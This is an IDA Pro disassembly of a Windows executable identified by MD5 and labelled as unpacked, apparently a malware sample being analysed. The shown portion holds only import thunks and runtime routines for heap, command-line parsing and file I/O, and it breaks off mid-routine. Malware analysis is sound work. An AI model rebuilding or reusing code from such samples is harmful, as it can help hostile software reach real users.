;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	6E704F13E983D9E85AD2EA68D85477FB

; File Name   :	u:\work\6e704f13e983d9e85ad2ea68d85477fb_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00007130 (  28976.)
; Section size in file		: 00007130 (  28976.)
; Offset to raw	data for section: 00001000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default

		include	uni.inc	; see unicode subdir of	ida for	info on	unicode

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
CODE		segment	para public 'CODE' use32
		assume cs:CODE
		;org 401000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing
off_401000	dd offset dword_401004	; DATA XREF: CODE:00403A2Eo
					; CODE:00404385o ...
dword_401004	dd 7453060Ah, 676E6972hoff_40100C	dd offset dword_401058	; DATA XREF: CODE:00403A00o
		dd 7 dup(0)
		dd offset dword_401058
		dd 4, 0
		dd offset sub_40203C
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402050
		dd offset nullsub_4
		dd offset sub_401F08
		dd offset sub_401F24
		dd offset sub_401F40
dword_401058	dd 624F5407h, 7463656Ah					; CODE:0040102Co

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401060	proc near		; CODE XREF: sub_403450+9p
		jmp	ds:dword_40B168
sub_401060	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401068	proc near		; CODE XREF: sub_4011B0+Dp
		jmp	ds:dword_40B164
sub_401068	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401070	proc near		; CODE XREF: sub_4011E8+11p
		jmp	ds:dword_40B160
sub_401070	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401078	proc near		; CODE XREF: sub_4011C4+13p
		jmp	ds:dword_40B15C
sub_401078	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401080	proc near		; CODE XREF: sub_4024E0+7Cp
		jmp	ds:dword_40B158
sub_401080	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401088	proc near		; CODE XREF: sub_40148C+24p
					; sub_402EBC+1Ep ...
		jmp	ds:dword_40B154
sub_401088	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401090	proc near		; CODE XREF: sub_402F40+1Dp
					; sub_403524+Cp
		jmp	ds:dword_40B150
sub_401090	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401098	proc near		; CODE XREF: sub_403480+3p
		jmp	ds:dword_40B14C
sub_401098	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A0	proc near		; CODE XREF: sub_4034D8+25p
					; sub_4034D8+36p
		jmp	ds:dword_40B148
sub_4010A0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A8	proc near		; CODE XREF: sub_403494+3Dp
		jmp	ds:dword_40B144
sub_4010A8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010B0	proc near		; CODE XREF: sub_40148C:loc_4014C2p
		jmp	ds:dword_40B140
sub_4010B0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010B8	proc near		; CODE XREF: sub_4015A4+4p
					; CODE:00401760p
		jmp	ds:dword_40B13C
sub_4010B8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C0	proc near		; CODE XREF: CODE:0040165Cp
					; sub_4019C8+9Bp
		jmp	ds:dword_40B138
sub_4010C0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C8	proc near		; CODE XREF: CODE:00401745p
		jmp	ds:dword_40B134
sub_4010C8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010D0	proc near		; CODE XREF: sub_4014EC+Ap
		jmp	ds:dword_40B130
sub_4010D0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010D8	proc near		; CODE XREF: CODE:00401680p
		jmp	ds:dword_40B12C
sub_4010D8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010E0	proc near		; CODE XREF: CODE:loc_40172Fp
					; sub_4019C8:loc_401A83p
		jmp	ds:dword_40B128
sub_4010E0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010E8	proc near		; CODE XREF: sub_4020F0+14p
					; sub_40210C+16p ...
		jmp	ds:dword_40B124
sub_4010E8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010F0	proc near		; CODE XREF: sub_401528+1Ep
					; CODE:004016BDp
		jmp	ds:dword_40B120
sub_4010F0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010F8	proc near		; CODE XREF: sub_4021A4+D2p
					; DATA XREF: sub_402428+Ao ...
		jmp	ds:dword_40B11C
sub_4010F8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401100	proc near		; CODE XREF: CODE:004016F4p
		jmp	ds:dword_40B118
sub_401100	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401108	proc near		; CODE XREF: CODE:0040169Cp
					; CODE:004016E6p
		jmp	ds:dword_40B114
sub_401108	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401110	proc near		; CODE XREF: sub_4021A4+6Ap
					; sub_4021A4+A7p
		jmp	ds:dword_40B110
sub_401110	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401118	proc near		; CODE XREF: sub_401568+1Fp
		jmp	ds:dword_40B10C
sub_401118	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401120	proc near		; CODE XREF: sub_4013A0+Bp
					; sub_4013A0+37p ...
		jmp	ds:dword_40B174
sub_401120	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401128	proc near		; CODE XREF: sub_4024E0+B2p
		jmp	ds:dword_40B108
sub_401128	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401130	proc near		; CODE XREF: sub_402F40+117p
		jmp	ds:dword_40B104
sub_401130	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401138	proc near		; CODE XREF: sub_402F40+10Ap
		jmp	ds:dword_40B100
sub_401138	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401140	proc near		; CODE XREF: sub_401314p
					; sub_401528+27p ...
		jmp	ds:dword_40B0FC
sub_401140	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401148	proc near		; CODE XREF: sub_4030F8+12Fp
		jmp	ds:dword_40B0F8
sub_401148	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401150	proc near		; CODE XREF: sub_402F40+2Ep
		jmp	ds:dword_40B0F4
sub_401150	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401158	proc near		; CODE XREF: sub_4030F8+129p
		jmp	ds:dword_40B0F0
sub_401158	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401160	proc near		; CODE XREF: sub_4030F8+1B1p
					; sub_4030F8+1E9p ...
		jmp	ds:dword_40B0EC
sub_401160	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401168	proc near		; CODE XREF: sub_4033B0+31p
		jmp	ds:dword_40B170
sub_401168	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401170	proc near		; CODE XREF: sub_402F40+5Ep
					; sub_402F40+C2p ...
		jmp	ds:dword_40B0E8
sub_401170	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401178	proc near		; CODE XREF: sub_402F40+123p
					; sub_402F40+163p ...
		jmp	ds:dword_40B0E4
sub_401178	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401180	proc near		; CODE XREF: sub_4030F8+FFp
		jmp	ds:dword_40B184
sub_401180	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401188	proc near		; CODE XREF: sub_4030F8+3Ap
					; sub_4030F8+58p ...
		jmp	ds:dword_40B180
sub_401188	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401190	proc near		; CODE XREF: sub_4030F8+BFp
					; sub_4030F8+DDp
		jmp	ds:dword_40B17C
sub_401190	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401198	proc near		; CODE XREF: sub_4026E4+12p
		jmp	ds:dword_40B0E0
sub_401198	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011A0	proc near		; CODE XREF: sub_402C24+Ep
		jmp	ds:dword_40B18C
sub_4011A0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011A8	proc near		; CODE XREF: sub_403450+22p
		jmp	ds:dword_40B0DC
sub_4011A8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4011B0	proc near		; CODE XREF: sub_401200+4p
					; sub_401230+3Fp
					; DATA XREF: ...
		push	eax
		mov	eax, ds:dword_409044
		push	eax
		mov	eax, ds:dword_40A5A8
		push	eax
		call	sub_401068	; RtlAllocateHeap
		retn
sub_4011B0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4011C4	proc near		; CODE XREF: sub_401218+4p
					; sub_401230+26p
					; DATA XREF: ...
		push	ebx
		mov	ebx, eax
		push	ebx
		mov	eax, ds:dword_409044
		and	eax, 1
		push	eax
		mov	eax, ds:dword_40A5A8
		push	eax
		call	sub_401078	; RtlFreeHeap
		cmp	eax, 1
		sbb	eax, eax
		neg	eax
		and	eax, 7Fh
		pop	ebx
		retn
sub_4011C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4011E8	proc near		; CODE XREF: sub_401230+Dp
					; DATA XREF: DATA:off_409050o
		push	edx
		push	eax
		mov	eax, ds:dword_409044
		and	eax, 0
		push	eax
		mov	eax, ds:dword_40A5A8
		push	eax
		call	sub_401070	; RtlReAllocateHeap
		retn
sub_4011E8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401200	proc near		; CODE XREF: sub_401F08+Ap
					; sub_402688+Cp
		test	eax, eax
		jz	short locret_40120E
		call	ds:off_409048
		or	eax, eax
		jz	short loc_40120F

locret_40120E:				; CODE XREF: sub_401200+2j
		retn
; ---------------------------------------------------------------------------


loc_40120F:				; CODE XREF: sub_401200+Cj
		mov	al, 1
		jmp	loc_4012D8
sub_401200	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401218	proc near		; CODE XREF: sub_401F24+Cp
					; sub_4025C8+1Bp ...
		test	eax, eax
		jz	short locret_401226
		call	ds:off_40904C
		or	eax, eax
		jnz	short loc_401227

locret_401226:				; CODE XREF: sub_401218+2j
		retn
; ---------------------------------------------------------------------------


loc_401227:				; CODE XREF: sub_401218+Cj
		mov	al, 2
		jmp	loc_4012D8
sub_401218	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401230	proc near		; CODE XREF: sub_402BC0+22p

; FUNCTION CHUNK AT 004012D8 SIZE 0000000B BYTES

		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_401268
		test	edx, edx
		jz	short loc_401252
		push	eax
		mov	eax, ecx
		call	ds:off_409050
		pop	ecx
		or	eax, eax
		jz	short loc_401261
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_40124B:				; CODE XREF: sub_401230+2Ej
		mov	al, 2
		jmp	loc_4012D8
; ---------------------------------------------------------------------------


loc_401252:				; CODE XREF: sub_401230+8j
		mov	[eax], edx
		mov	eax, ecx
		call	ds:off_40904C
		or	eax, eax
		jnz	short loc_40124B
		retn
; ---------------------------------------------------------------------------


loc_401261:				; CODE XREF: sub_401230+16j
					; sub_401230+48j
		mov	al, 1
		jmp	loc_4012D8
; ---------------------------------------------------------------------------


loc_401268:				; CODE XREF: sub_401230+4j
		test	edx, edx
		jz	short locret_40127C
		push	eax
		mov	eax, edx
		call	ds:off_409048
		pop	ecx
		or	eax, eax
		jz	short loc_401261
		mov	[ecx], eax

locret_40127C:				; CODE XREF: sub_401230+3Aj
		retn
sub_401230	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_401280	proc near		; CODE XREF: sub_40128C+42p
		mov	ds:dword_409004, edx
		call	sub_4025B0
sub_401280	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40128C	proc near		; CODE XREF: sub_401230+AEj
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		and	bl, 7Fh
		cmp	ds:off_40A008, 0
		jz	short loc_4012A8
		mov	edx, esi
		mov	eax, ebx
		call	ds:off_40A008


loc_4012A8:				; CODE XREF: sub_40128C+10j
		test	bl, bl
		jnz	short loc_4012B9
		call	sub_4034D8
		mov	ebx, [eax+4]
		jmp	short loc_4012C8
; ---------------------------------------------------------------------------


loc_4012B9:				; CODE XREF: sub_40128C+1Ej
		cmp	bl, 18h
		ja	short loc_4012C8
		xor	eax, eax
		mov	al, bl
		mov	bl, ds:byte_409054[eax]


loc_4012C8:				; CODE XREF: sub_40128C+2Bj
					; sub_40128C+30j
		xor	eax, eax
		mov	al, bl
		mov	edx, esi
		call	sub_401280
sub_40128C	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_401230


loc_4012D8:				; CODE XREF: sub_401200+11j
					; sub_401218+11j ...
		and	eax, 7Fh
		mov	edx, [esp+0]
		jmp	sub_40128C
; END OF FUNCTION CHUNK	FOR sub_401230
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4012E4	proc near		; CODE XREF: CODE:00405858p
					; CODE:00407ECFp ...
		push	eax
		push	edx
		push	ecx
		call	sub_4034D8
		cmp	dword ptr [eax+4], 0
		pop	ecx
		pop	edx
		pop	eax
		jnz	short loc_4012F9
		retn
; ---------------------------------------------------------------------------


loc_4012F9:				; CODE XREF: sub_4012E4+12j
		xor	eax, eax
		jmp	loc_4012D8
sub_4012E4	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401304	proc near		; CODE XREF: sub_401314+5p
					; sub_4017E8+3Cp ...
		push	ebx
		mov	ebx, eax
		call	sub_4034D8
		mov	[eax+4], ebx
		pop	ebx
		retn
sub_401304	endp


; =============== S U B	R O U T	I N E =======================================



sub_401314	proc near		; CODE XREF: sub_4019A0+17p
		call	sub_401140	; RtlGetLastWin32Error
		call	sub_401304
		retn
sub_401314	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401320	proc near		; CODE XREF: sub_405AA0+7p
					; CODE:00407ED4p
		push	ebx
		call	sub_4034D8
		mov	ebx, [eax+4]
		call	sub_4034D8
		xor	edx, edx
		mov	[eax+4], edx
		mov	eax, ebx
		pop	ebx
		retn
sub_401320	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401340	proc near		; CODE XREF: sub_401780+4Fp
					; sub_401948+14p ...
		cmp	ecx, 4
		jge	short loc_401361
		jcxz	locret_40139F
		cmp	eax, edx
		jz	short locret_40139F
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		ja	short loc_40135D
		lea	esi, [ecx+esi-1]
		lea	edi, [ecx+edi-1]
		std


loc_40135D:				; CODE XREF: sub_401340+12j
		rep movsb
		jmp	short loc_40138D
; ---------------------------------------------------------------------------


loc_401361:				; CODE XREF: sub_401340+3j
		cmp	eax, edx
		jz	short locret_40139F
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		mov	eax, ecx
		ja	short loc_40138F
		and	ecx, 3
		lea	esi, [eax+esi-1]
		lea	edi, [eax+edi-1]
		std
		rep movsb
		sar	eax, 2
		mov	ecx, eax
		mov	eax, 3
		sub	esi, eax
		sub	edi, eax
		rep movsd


loc_40138D:				; CODE XREF: sub_401340+1Fj
		cld
		dec	ecx


loc_40138F:				; CODE XREF: sub_401340+2Dj
		sar	ecx, 2
		js	short loc_40139D
		rep movsd
		and	eax, 3
		mov	ecx, eax
		rep movsb


loc_40139D:				; CODE XREF: sub_401340+52j
		pop	edi
		pop	esi

locret_40139F:				; CODE XREF: sub_401340+5j
					; sub_401340+Aj ...
		retn
sub_401340	endp


; =============== S U B	R O U T	I N E =======================================



sub_4013A0	proc near		; CODE XREF: sub_40148C+41p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	esi, edx
		mov	ebx, eax
		jmp	short loc_4013B2
; ---------------------------------------------------------------------------


loc_4013AA:				; CODE XREF: sub_4013A0+1Aj
		push	ebx
		call	sub_401120	; CharNextA
		mov	ebx, eax


loc_4013B2:				; CODE XREF: sub_4013A0+8j
					; sub_4013A0+2Aj
		mov	al, [ebx]
		test	al, al
		jz	short loc_4013BC
		cmp	al, 20h
		jbe	short loc_4013AA


loc_4013BC:				; CODE XREF: sub_4013A0+16j
		cmp	byte ptr [ebx],	22h
		jnz	short loc_4013CC
		cmp	byte ptr [ebx+1], 22h
		jnz	short loc_4013CC
		add	ebx, 2
		jmp	short loc_4013B2
; ---------------------------------------------------------------------------


loc_4013CC:				; CODE XREF: sub_4013A0+1Fj
					; sub_4013A0+25j
		xor	ebp, ebp
		mov	edi, ebx
		jmp	short loc_401415
; ---------------------------------------------------------------------------


loc_4013D2:				; CODE XREF: sub_4013A0+79j
		cmp	al, 22h
		jnz	short loc_401407
		push	ebx
		call	sub_401120	; CharNextA
		mov	ebx, eax
		jmp	short loc_4013EE
; ---------------------------------------------------------------------------


loc_4013E0:				; CODE XREF: sub_4013A0+56j
		push	ebx
		call	sub_401120	; CharNextA
		mov	edx, eax
		sub	edx, ebx
		add	ebp, edx
		mov	ebx, eax


loc_4013EE:				; CODE XREF: sub_4013A0+3Ej
		mov	al, [ebx]
		test	al, al
		jz	short loc_4013F8
		cmp	al, 22h
		jnz	short loc_4013E0


loc_4013F8:				; CODE XREF: sub_4013A0+52j
		cmp	byte ptr [ebx],	0
		jz	short loc_401415
		push	ebx
		call	sub_401120	; CharNextA
		mov	ebx, eax
		jmp	short loc_401415
; ---------------------------------------------------------------------------


loc_401407:				; CODE XREF: sub_4013A0+34j
		push	ebx
		call	sub_401120	; CharNextA
		mov	edx, eax
		sub	edx, ebx
		add	ebp, edx
		mov	ebx, eax


loc_401415:				; CODE XREF: sub_4013A0+30j
					; sub_4013A0+5Bj ...
		mov	al, [ebx]
		cmp	al, 20h
		ja	short loc_4013D2
		mov	eax, esi
		mov	edx, ebp
		call	sub_402BC0
		mov	ebx, edi
		mov	edi, [esi]
		xor	esi, esi
		jmp	short loc_40147D
; ---------------------------------------------------------------------------


loc_40142C:				; CODE XREF: sub_4013A0+E1j
		cmp	al, 22h
		jnz	short loc_401468
		push	ebx
		call	sub_401120	; CharNextA
		mov	ebx, eax
		jmp	short loc_40144F
; ---------------------------------------------------------------------------


loc_40143A:				; CODE XREF: sub_4013A0+B7j
		push	ebx
		call	sub_401120	; CharNextA
		cmp	eax, ebx
		jbe	short loc_40144F


loc_401444:				; CODE XREF: sub_4013A0+ADj
		mov	dl, [ebx]
		mov	[edi+esi], dl
		inc	ebx
		inc	esi
		cmp	eax, ebx
		ja	short loc_401444


loc_40144F:				; CODE XREF: sub_4013A0+98j
					; sub_4013A0+A2j
		mov	al, [ebx]
		test	al, al
		jz	short loc_401459
		cmp	al, 22h
		jnz	short loc_40143A


loc_401459:				; CODE XREF: sub_4013A0+B3j
		cmp	byte ptr [ebx],	0
		jz	short loc_40147D
		push	ebx
		call	sub_401120	; CharNextA
		mov	ebx, eax
		jmp	short loc_40147D
; ---------------------------------------------------------------------------


loc_401468:				; CODE XREF: sub_4013A0+8Ej
		push	ebx
		call	sub_401120	; CharNextA
		cmp	eax, ebx
		jbe	short loc_40147D


loc_401472:				; CODE XREF: sub_4013A0+DBj
		mov	dl, [ebx]
		mov	[edi+esi], dl
		inc	ebx
		inc	esi
		cmp	eax, ebx
		ja	short loc_401472


loc_40147D:				; CODE XREF: sub_4013A0+8Aj
					; sub_4013A0+BCj ...
		mov	al, [ebx]
		cmp	al, 20h
		ja	short loc_40142C
		mov	eax, ebx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4013A0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40148C	proc near		; CODE XREF: CODE:00407F68p

var_114		= byte ptr -114h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFEF8h
		mov	ebx, edx
		mov	esi, eax
		mov	eax, ebx
		call	sub_4025C8
		test	esi, esi
		jnz	short loc_4014C2
		push	105h
		lea	eax, [esp+118h+var_114]
		push	eax
		push	0
		call	sub_401088	; GetModuleFileNameA
		mov	ecx, eax
		mov	edx, esp
		mov	eax, ebx
		call	sub_4026B4
		jmp	short loc_4014E0
; ---------------------------------------------------------------------------


loc_4014C2:				; CODE XREF: sub_40148C+16j
		call	sub_4010B0	; GetCommandLineA
		mov	edi, eax


loc_4014C9:				; CODE XREF: sub_40148C+52j
		mov	edx, ebx
		mov	eax, edi
		call	sub_4013A0
		mov	edi, eax
		test	esi, esi
		jz	short loc_4014E0
		cmp	dword ptr [ebx], 0
		jz	short loc_4014E0
		dec	esi
		jmp	short loc_4014C9
; ---------------------------------------------------------------------------


loc_4014E0:				; CODE XREF: sub_40148C+34j
					; sub_40148C+4Aj ...
		add	esp, 108h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40148C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4014EC	proc near		; CODE XREF: CODE:loc_407E76p

var_18		= byte ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= word ptr -0Ch
var_A		= word ptr -0Ah

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4010D0	; GetSystemTime
		movzx	eax, [ebp+var_10]
		imul	eax, 3Ch
		add	ax, [ebp+var_E]
		imul	eax, 3Ch
		xor	edx, edx
		mov	dx, [ebp+var_C]
		add	eax, edx
		imul	eax, 3E8h
		mov	dx, [ebp+var_A]
		add	eax, edx
		mov	ds:dword_409008, eax
		mov	esp, ebp
		pop	ebp
		retn
sub_4014EC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401528	proc near		; DATA XREF: CODE:00401604o
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		mov	[ebx+10h], eax
		xor	eax, eax
		mov	[ebx+0Ch], eax
		push	0
		lea	eax, [ebx+10h]
		push	eax
		mov	eax, [ebx+8]
		push	eax
		mov	eax, [ebx+14h]
		push	eax
		mov	eax, [ebx]
		push	eax
		call	sub_4010F0	; ReadFile
		test	eax, eax
		jnz	short loc_40155D
		call	sub_401140	; RtlGetLastWin32Error
		cmp	eax, 6Dh
		jnz	short loc_40155F
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40155D:				; CODE XREF: sub_401528+25j
		xor	eax, eax


loc_40155F:				; CODE XREF: sub_401528+2Fj
		pop	ebx
		retn
sub_401528	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401564	proc near		; DATA XREF: CODE:0040163Bo
					; CODE:0040170Bo ...
		xor	eax, eax
		retn
sub_401564	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401568	proc near		; DATA XREF: CODE:loc_40162Do
					; CODE:00401753o

var_C		= byte ptr -0Ch

		push	ebx
		push	esi
		push	ecx
		mov	ebx, eax
		mov	esi, [ebx+0Ch]
		test	esi, esi
		jnz	short loc_401578
		xor	eax, eax
		jmp	short loc_40159E
; ---------------------------------------------------------------------------


loc_401578:				; CODE XREF: sub_401568+Aj
		push	0
		lea	eax, [esp+10h+var_C]
		push	eax
		push	esi
		mov	eax, [ebx+14h]
		push	eax
		mov	eax, [ebx]
		push	eax
		call	sub_401118	; WriteFile
		test	eax, eax
		jnz	short loc_401597
		call	sub_401140	; RtlGetLastWin32Error
		jmp	short loc_401599
; ---------------------------------------------------------------------------


loc_401597:				; CODE XREF: sub_401568+26j
		xor	eax, eax


loc_401599:				; CODE XREF: sub_401568+2Dj
		xor	edx, edx
		mov	[ebx+0Ch], edx


loc_40159E:				; CODE XREF: sub_401568+Ej
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_401568	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4015A4	proc near		; CODE XREF: sub_4015B4+Bp
					; sub_4019A0+Ep
		push	ebx
		mov	ebx, eax
		push	ebx
		call	sub_4010B8	; CloseHandle
		dec	eax
		setz	al
		pop	ebx
		retn
sub_4015A4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4015B4	proc near		; DATA XREF: CODE:loc_401634o
		push	ebx
		mov	ebx, eax
		mov	word ptr [ebx+4], 0D7B0h
		mov	eax, [ebx]
		call	sub_4015A4
		test	al, al
		jnz	short loc_4015CF
		call	sub_401140	; RtlGetLastWin32Error
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4015CF:				; CODE XREF: sub_4015B4+12j
		xor	eax, eax
		pop	ebx
		retn
sub_4015B4	endp

; ---------------------------------------------------------------------------
		align 4


loc_4015D4:				; DATA XREF: sub_401780+35o
		push	esi
		mov	esi, eax
		xor	eax, eax
		mov	[esi+0Ch], eax
		mov	[esi+10h], eax
		mov	ax, [esi+4]
		sub	eax, 0D7B1h
		jz	short loc_4015F5
		dec	eax
		jz	short loc_40160D
		dec	eax
		jz	short loc_40161E
		jmp	loc_40175C
; ---------------------------------------------------------------------------


loc_4015F5:				; CODE XREF: CODE:004015E8j
		mov	eax, 80000000h
		mov	edx, 1
		mov	ecx, 3
		mov	dword ptr [esi+1Ch], offset sub_401528
		jmp	short loc_401634
; ---------------------------------------------------------------------------


loc_40160D:				; CODE XREF: CODE:004015EBj
		mov	eax, 40000000h
		mov	edx, 1
		mov	ecx, 2
		jmp	short loc_40162D
; ---------------------------------------------------------------------------


loc_40161E:				; CODE XREF: CODE:004015EEj
		mov	eax, 0C0000000h
		mov	edx, 1
		mov	ecx, 3


loc_40162D:				; CODE XREF: CODE:0040161Cj
		mov	dword ptr [esi+1Ch], offset sub_401568


loc_401634:				; CODE XREF: CODE:0040160Bj
		mov	dword ptr [esi+24h], offset sub_4015B4
		mov	dword ptr [esi+20h], offset sub_401564
		cmp	byte ptr [esi+48h], 0
		jz	loc_4016FE
		push	0
		push	80h
		push	ecx
		push	0
		push	edx
		push	eax
		lea	eax, [esi+48h]
		push	eax
		call	sub_4010C0	; CreateFileA
		cmp	eax, 0FFFFFFFFh
